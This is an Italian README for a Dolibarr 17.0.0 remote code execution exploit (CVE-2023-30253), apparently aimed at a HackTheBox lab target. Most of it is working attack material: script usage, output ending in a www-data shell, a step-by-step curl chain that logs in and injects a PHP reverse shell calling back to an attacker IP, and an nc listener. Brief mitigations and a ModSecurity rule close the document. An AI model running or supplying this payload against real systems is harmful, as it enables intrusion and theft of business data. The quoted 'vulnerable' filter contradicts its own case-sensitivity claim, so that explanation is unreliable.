
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE tramite iniezione di codice PHP (exploit educativo)
Exploit di iniezione di codice PHP per Dolibarr ERP/CRM v17.0.0 che
permette di ottenere una shell inversa come utente www-data tramite
il modulo Website/CMS.
⚠️ Solo per uso educativo e audit autorizzati.
CVE-2023-30253 è una vulnerabilità di iniezione di codice PHP (CWE-94: Improper Control of Generation of Code) in Dolibarr ERP/CRM versioni precedenti alla 17.0.1.
È stata scoperta e segnalata dal team di Swascan (ora Hacktivesecurity) a maggio 2023. La vulnerabilità risiede nel modulo Website/CMS, che permette a utenti autenticati di creare e gestire siti web all'interno di Dolibarr.
| Campo | Valore |
|---|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (ALTO) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Tipo | CWE-94 — Code Injection |
| Software affetto | Dolibarr ERP/CRM < 17.0.1 |
| Privilegi | Utente autenticato (qualsiasi ruolo) |
| Patch | Dolibarr 17.0.1 — commit 4f6055c |
Dolibarr implementa un filtro per impedire agli utenti di iniettare codice PHP nel contenuto delle pagine del modulo Website. Tuttavia, questo filtro ha un difetto critico: è case-sensitive.
// Codice vulnerabile (semplificato) in Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Blocca solo "<?php" in minuscolo esatto... o no?
die("PHP code detected!");
}
Il filtro cerca letteralmente la stringa <?php in minuscolo. Ma PHP
permette qualsiasi combinazione di maiuscole e minuscole per il
tag di apertura. Questo significa che:
| Tag | Filtrato? | Eseguito da PHP? |
|---|---|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
L'exploit usa <?PHP (in maiuscolo) per bypassare il filtro, ma
qualsiasi variazione funziona.
Inoltre, il filtro si applica solo al momento del salvataggio del
contenuto. Durante la pubblicazione della pagina, Dolibarr passa il
contenuto senza ulteriore sanificazione all'interprete PHP, che esegue
qualsiasi codice con il tag di apertura <?.
Un attaccante autenticato può:
/etc/passwd, configurazione)Perché è critico? Dolibarr è usato come ERP/CRM aziendale. Un'intrusione può esporre dati di clienti, finanze, contratti e credenziali interne.
L'exploit automatizza l'intero processo di sfruttamento in 5 passi:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Autenticarsi in Dolibarr │
│ 2. Create Website → Creare un sito web vuoto │
│ 3. Create Page → Creare una pagina nel sito │
│ 4. Inject Shell → Iniettare PHP reverse shell │
│ 5. Trigger → Eseguire il payload │
│ │
│ Risultato: 🎯 Shell inversa come www-data │
└─────────────────────────────────────────────────────────┘
Caratteristiche:
pageidfsockopen + proc_openrequestsbeautifulsoup4O semplicemente:
pip install -r requirements.txt
# Clonare il repository
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Installare le dipendenze
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opzioni]
Argomenti posizionali:
| Argomento | Descrizione | Esempio |
|---|---|---|
target | URL base di Dolibarr | http://crm.board.htb |
username | Utente Dolibarr | admin |
password | Password Dolibarr | admin |
lhost | Il tuo IP (dove riceverai la shell) | 10.10.14.5 |
lport | La tua porta (dove riceverai la shell) | 4444 |
Opzioni:
| Opzione | Descrizione |
|---|---|
-v, --verbose | Mostra informazioni dettagliate di debug |
--no-color | Disattiva i colori nell'output |
-h, --help | Mostra l'aiuto e gli esempi |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Passo 1/5: Avvio della sessione...
[10:45:12] ✓ Sessione avviata correttamente
[10:45:13] Passo 2/5: Creazione del sito web...
[10:45:13] ✓ Sito web 's3a1f2bc' creato
[10:45:13] Passo 3/5: Creazione della pagina nel sito...
[10:45:13] ✓ Pagina creata all'interno del sito
[10:45:14] Passo 4/5: Iniezione della reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Codice PHP iniettato con successo
[10:45:14] Passo 5/5: Esecuzione del payload (trigger)...
════════════════════════════════════════════════════════
SFRUTTAMENTO COMPLETATO
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Istruzioni:
1. In un altro terminale, avvia il tuo listener:
nc -lvnp 4444
2. Accedi alla Trigger URL (l'exploit lo ha già fatto)
3. Riceverai una shell inversa come www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Se preferisci capire il processo manualmente (senza lo script), ecco il flusso completo:
# Ottenere cookie e token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Estrarre il token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Login
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
⚠️ Lezione appresa: Il parametro
actioncorretto èaddsite, nonaddcome appare in alcuni exploit pubblici.
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 Chiave dell'attacco: Il campo corretto è
PAGE_CONTENT, nonWEBSITE_CONTENT. Molti PoC pubblici hanno questo errore.
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
Per proteggere un server Dolibarr da questa vulnerabilità:
# Aggiornare a Dolibarr 17.0.1 o superiore
# La patch corregge il filtro per rilevare qualsiasi variante di <?php
Se non usi il modulo Website/CMS, disattivalo da:
Home → Setup → Modules → Website → Disattiva
# Bloccare qualsiasi variante di tag PHP nel campo PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection bloccata'"
Questo progetto è creato con fini educativi e di ricerca in sicurezza informatica. L'uso di questo exploit su sistemi senza esplicita autorizzazione è illegale ed eticamente riprovevole.
Come professionista di cybersecurity, credo fermamente in:
Creato da Jean Carlos
Studente di Cybersecurity | Pentesting | CTF Player
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304